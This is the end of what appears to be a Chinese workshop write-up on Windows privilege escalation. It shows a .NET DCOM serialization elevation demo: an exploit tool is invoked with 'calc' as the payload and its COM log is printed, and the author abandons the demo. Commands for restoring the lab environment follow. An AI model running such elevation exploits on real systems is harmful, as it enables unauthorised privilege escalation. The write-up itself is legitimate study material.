BOOL WINAPI OpenThreadToken(
_In_ HANDLE ThreadHandle,
_In_ DWORD DesiredAccess,
_In_ BOOL OpenAsSelf,
_Out_ PHANDLE TokenHandle
);

参考

13 DEMO 13 : .NET DCOM Elevation

源码

实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
C:\workshop\ExploitTools>ExploitDotNetDCOMSerialization.exe 801445a7-c5a9-468d-9423-81f9d13fee9b calc
AddRef: 1
Unknown IID {ECC8691B-C1DB-4DC0-855E-65F6C551AF49}
Unknown IID {00000003-0000-0000-C000-000000000046}
Unknown IID {0000001B-0000-0000-C000-000000000046}
Queried for IUnknown
AddRef: 2
AddRef: 3
Unknown IID {00000018-0000-0000-C000-000000000046}
Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}
Unknown IID {00000040-0000-0000-C000-000000000046}
Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}
Unknown IID {94EA2B94-E9CC-49E0-C0FF-EE64CA8F5B90}
Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}
Unknown IID {77DD1250-139C-2BC3-BD95-900ACED61BE5}
Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}
Unknown IID {BFD60505-5A1F-4E41-88BA-A6FB07202DA9}
Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}
Unknown IID {03FB5C57-D534-45F5-A1F4-D39556983875}
Unknown IID {334D391F-0E79-3B15-C9FF-EAC65DD07C42}
Unknown IID {2C258AE7-50DC-49FF-9D1D-2ECB9A52CDD7}
Unknown IID {00000019-0000-0000-C000-000000000046}
Unknown IID {4C1E39E1-E3E3-4296-AA86-EC938D896E92}
Release: 2
Unknown IID {00000003-0000-0000-C000-000000000046}
Release: 1
In GetHashCode
In GetObjectData
In GetObjectData
Unknown IID {C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4}
Unknown IID {B196B283-BAB4-101A-B69C-00AA00341D07}
Unknown IID {AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90}
Unknown IID {6E70ED5F-0439-38CE-83BB-860F1421F29F}
Queried for IHashCodeProvider
AddRef: 2
AddRef: 3
Unknown IID {1C733A30-2A1C-11CE-ADE5-00AA0044773D}
Queried for IHashCodeProvider
AddRef: 4
GetHashCode Called

C:\workshop\ExploitTools>

暂时放弃

这个涉及到很多 COM 的知识,之前完全不懂,等日后有了这方面的基本了解之后再来补上

14 环境恢复

如果在环境搭建过程中生成了虚拟机快照,提取出有用文件之后,恢复快照最方便。否则就按照下面的步骤恢复。管理员权限运行

1
2
3
C:\WINDOWS\system32>Bcdedit.exe -set TESTSIGNING OFF
C:\WINDOWS\system32>sc delete workshop
C:\WINDOWS\system32>powershell -Command "Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Undefined"

如果修改了 Secure Boot,记得还原。关机重启,快速按 F2 进入 BIOS,选择 Boot 标签,将 Secure Boot 设置为 Enabled。

References